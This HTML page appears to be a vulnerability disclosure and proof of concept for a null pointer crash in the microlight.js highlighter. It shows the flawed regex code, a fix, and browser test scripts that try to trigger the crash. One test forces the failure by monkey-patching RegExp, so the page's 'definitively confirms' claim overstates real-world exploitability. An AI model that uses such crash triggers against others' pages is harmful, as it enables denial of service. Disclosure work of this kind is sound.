|
<!DOCTYPE html> |
|
<html lang="en"> |
|
<head> |
|
<meta charset="UTF-8"> |
|
<meta name="viewport" content="width=device-width, initial-scale=1.0"> |
|
<title>Microlight.js Null Pointer Dereference PoC</title> |
|
<style> |
|
body { |
|
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif; |
|
line-height: 1.6; |
|
margin: 0; |
|
padding: 20px; |
|
color: #333; |
|
background-color: #f8f9fa; |
|
} |
|
.container { |
|
max-width: 800px; |
|
margin: 0 auto; |
|
background: #fff; |
|
padding: 30px; |
|
border-radius: 8px; |
|
box-shadow: 0 2px 10px rgba(0,0,0,0.1); |
|
} |
|
h1 { |
|
color: #d32f2f; |
|
margin-top: 0; |
|
padding-bottom: 10px; |
|
border-bottom: 1px solid #eee; |
|
} |
|
h2 { |
|
color: #333; |
|
margin-top: 30px; |
|
} |
|
button { |
|
padding: 10px 15px; |
|
margin: 10px 5px 10px 0; |
|
background-color: #4CAF50; |
|
color: white; |
|
border: none; |
|
border-radius: 4px; |
|
cursor: pointer; |
|
font-size: 14px; |
|
transition: background-color 0.3s; |
|
} |
|
button:hover { |
|
background-color: #45a049; |
|
} |
|
button.danger { |
|
background-color: #f44336; |
|
} |
|
button.danger:hover { |
|
background-color: #d32f2f; |
|
} |
|
button.neutral { |
|
background-color: #2196F3; |
|
} |
|
button.neutral:hover { |
|
background-color: #0b7dda; |
|
} |
|
pre { |
|
background-color: #f5f5f5; |
|
padding: 15px; |
|
border-radius: 4px; |
|
overflow-x: auto; |
|
font-family: 'Courier New', Courier, monospace; |
|
border: 1px solid #ddd; |
|
} |
|
code { |
|
font-family: 'Courier New', Courier, monospace; |
|
background-color: #f5f5f5; |
|
padding: 2px 4px; |
|
border-radius: 3px; |
|
} |
|
.exploit-log { |
|
background-color: #000; |
|
color: #0f0; |
|
font-family: 'Courier New', Courier, monospace; |
|
padding: 15px; |
|
border-radius: 4px; |
|
margin-top: 20px; |
|
height: 250px; |
|
overflow-y: auto; |
|
} |
|
.success { |
|
color: #4CAF50; |
|
} |
|
.error { |
|
color: #f44336; |
|
} |
|
.warning { |
|
color: #ff9800; |
|
} |
|
.info { |
|
color: #2196F3; |
|
} |
|
.vulnerability-details { |
|
background-color: #fff9c4; |
|
border-left: 4px solid #fbc02d; |
|
padding: 15px; |
|
margin: 20px 0; |
|
border-radius: 0 4px 4px 0; |
|
} |
|
.fixed-code { |
|
background-color: #e8f5e9; |
|
border-left: 4px solid #4CAF50; |
|
} |
|
.vulnerable-code { |
|
background-color: #ffebee; |
|
border-left: 4px solid #f44336; |
|
} |
|
</style> |
|
</head> |
|
<body> |
|
<div class="container"> |
|
<h1>Microlight.js Null Pointer Dereference Vulnerability</h1> |
|
|
|
<div class="vulnerability-details"> |
|
<p><strong>Type:</strong> Null Pointer Dereference</p> |
|
<p><strong>Impact:</strong> Denial of Service (DoS) / Application Crash</p> |
|
<p><strong>Affected Versions:</strong> 0.0.7 (and potentially earlier)</p> |
|
<p><strong>CVE ID:</strong> [Pending Assignment]</p> |
|
</div> |
|
|
|
<h2>Vulnerability Description</h2> |
|
<p> |
|
Microlight.js contains a null pointer dereference vulnerability when processing elements with non-standard |
|
CSS color values. The library attempts to extract color components using a regular expression, but fails to validate |
|
if the result is null before accessing its properties. |
|
</p> |
|
|
|
<div class="vulnerable-code"> |
|
<h3>Vulnerable Code</h3> |
|
<pre><code>colorArr = /(\d*\, \d*\, \d*)(, ([.\d]*))?/g.exec( |
|
_window.getComputedStyle(el).color |
|
), |
|
pxColor = 'px rgba('+colorArr[1]+',', // No validation before access |
|
alpha = colorArr[3]||1;</code></pre> |
|
</div> |
|
|
|
<div class="fixed-code"> |
|
<h3>Fixed Code</h3> |
|
<pre><code>colorArr = /(\d*\, \d*\, \d*)(, ([.\d]*))?/g.exec( |
|
_window.getComputedStyle(el).color |
|
) || [null, '0, 0, 0', null, '1'], // Default value if regex fails |
|
pxColor = 'px rgba('+(colorArr[1])+',', |
|
alpha = colorArr[3]||1;</code></pre> |
|
</div> |
|
|
|
<h2>Proof of Concept</h2> |
|
<p>This page demonstrates the vulnerability through multiple testing methods:</p> |
|
|
|
<div class="control-panel"> |
|
<button id="directTest" class="danger">Test Direct Vulnerability</button> |
|
<button id="monkeyPatchTest" class="danger">Test with Monkey Patching</button> |
|
<button id="clearLog" class="neutral">Clear Log</button> |
|
</div> |
|
|
|
<h3>Sample Code Element:</h3> |
|
<pre id="sampleElement" class="microlight">// This element will be highlighted by microlight.js |
|
function testFunction() { |
|
const message = "Testing vulnerability"; |
|
console.log(message); |
|
return message.length; |
|
}</pre> |
|
|
|
<h3>Exploitation Log:</h3> |
|
<div id="log" class="exploit-log"></div> |
|
</div> |
|
|
|
<!-- Load microlight.js --> |
|
<!-- Note: Make sure this file exists in the same directory --> |
|
<script src="microlight.js"></script> |
|
|
|
<script> |
|
// DOM Elements |
|
const logElement = document.getElementById('log'); |
|
const sampleElement = document.getElementById('sampleElement'); |
|
|
|
// Logging function |
|
function log(message, type = 'info') { |
|
const timestamp = new Date().toTimeString().split(' ')[0]; |
|
const entry = document.createElement('div'); |
|
entry.className = type; |
|
entry.textContent = `[${timestamp}] ${message}`; |
|
logElement.appendChild(entry); |
|
logElement.scrollTop = logElement.scrollHeight; |
|
} |
|
|
|
// Clear log |
|
document.getElementById('clearLog').addEventListener('click', function() { |
|
logElement.innerHTML = ''; |
|
log('Log cleared'); |
|
}); |
|
|
|
// Direct vulnerability test |
|
document.getElementById('directTest').addEventListener('click', function() { |
|
log('Starting direct vulnerability test...', 'info'); |
|
|
|
// Problematic colors that may trigger the vulnerability |
|
const problematicColors = [ |
|
'transparent', |
|
'inherit', |
|
'initial', |
|
'unset', |
|
'none', |
|
'invalidcolor' |
|
]; |
|
|
|
let vulnerabilityConfirmed = false; |
|
|
|
// Test each problematic color |
|
for (const color of problematicColors) { |
|
try { |
|
log(`Testing with color: "${color}"`, 'info'); |
|
|
|
// Create test element |
|
const testElement = document.createElement('pre'); |
|
testElement.className = 'microlight'; |
|
testElement.textContent = `// Testing color: ${color}\nconsole.log("Test");`; |
|
testElement.style.color = color; |
|
|
|
// Append to DOM temporarily |
|
document.body.appendChild(testElement); |
|
|
|
try { |
|
// Try to trigger microlight |
|
window.microlight.reset(); |
|
log(`No crash with color "${color}"`, 'success'); |
|
} catch (e) { |
|
vulnerabilityConfirmed = true; |
|
log(`✓ VULNERABILITY CONFIRMED with color "${color}": ${e.message}`, 'error'); |
|
|
|
if (e.message.includes('null')) { |
|
log(' This confirms the null pointer dereference vulnerability!', 'error'); |
|
} |
|
} |
|
|
|
// Remove the test element |
|
document.body.removeChild(testElement); |
|
} catch (e) { |
|
log(`Error in test setup: ${e.message}`, 'warning'); |
|
} |
|
} |
|
|
|
if (!vulnerabilityConfirmed) { |
|
log('No crashes detected with direct testing. Trying monkey patch test instead.', 'warning'); |
|
} |
|
}); |
|
|
|
// Monkey patch test |
|
document.getElementById('monkeyPatchTest').addEventListener('click', function() { |
|
log('Starting monkey patch vulnerability test...', 'info'); |
|
|
|
// Save original exec function |
|
const originalExec = RegExp.prototype.exec; |
|
let vulnerabilityConfirmed = false; |
|
|
|
try { |
|
// Replace exec to force null return for the color regex |
|
RegExp.prototype.exec = function(str) { |
|
if (this.toString().includes('\\d*\\,')) { |
|
log('Color regex intercepted - returning null to simulate failure', 'info'); |
|
return null; |
|
} |
|
return originalExec.call(this, str); |
|
}; |
|
|
|
// Create a test element |
|
const testElement = document.createElement('pre'); |
|
testElement.className = 'microlight'; |
|
testElement.textContent = '// Monkey patch test\nconsole.log("Testing");'; |
|
document.body.appendChild(testElement); |
|
|
|
try { |
|
log('Executing microlight.reset() with patched regex...', 'info'); |
|
window.microlight.reset(); |
|
log('No crash with patched regex - unexpected!', 'warning'); |
|
} catch (e) { |
|
vulnerabilityConfirmed = true; |
|
log(`✓ VULNERABILITY CONFIRMED via monkey patch: ${e.message}`, 'error'); |
|
|
|
if (e.message.includes('null') && e.message.includes("'1'")) { |
|
log('This definitively confirms the null pointer dereference vulnerability!', 'error'); |
|
log('Stack trace: ' + e.stack.split('\n')[0], 'error'); |
|
} |
|
} |
|
|
|
// Clean up |
|
document.body.removeChild(testElement); |
|
} catch (e) { |
|
log(`Unexpected error: ${e.message}`, 'warning'); |
|
} finally { |
|
// Restore original exec function |
|
RegExp.prototype.exec = originalExec; |
|
log('Restored original RegExp.prototype.exec function', 'info'); |
|
} |
|
|
|
if (!vulnerabilityConfirmed) { |
|
log('No vulnerability detected with monkey patching. The library may be patched or different.', 'warning'); |
|
} |
|
}); |
|
|
|
// Initialize |
|
window.addEventListener('load', function() { |
|
log('PoC loaded. Click "Test Direct Vulnerability" or "Test with Monkey Patching" to begin.', 'info'); |
|
log('This PoC demonstrates a null pointer dereference vulnerability in microlight.js', 'info'); |
|
}); |
|
</script> |
|
</body> |
|
</html> |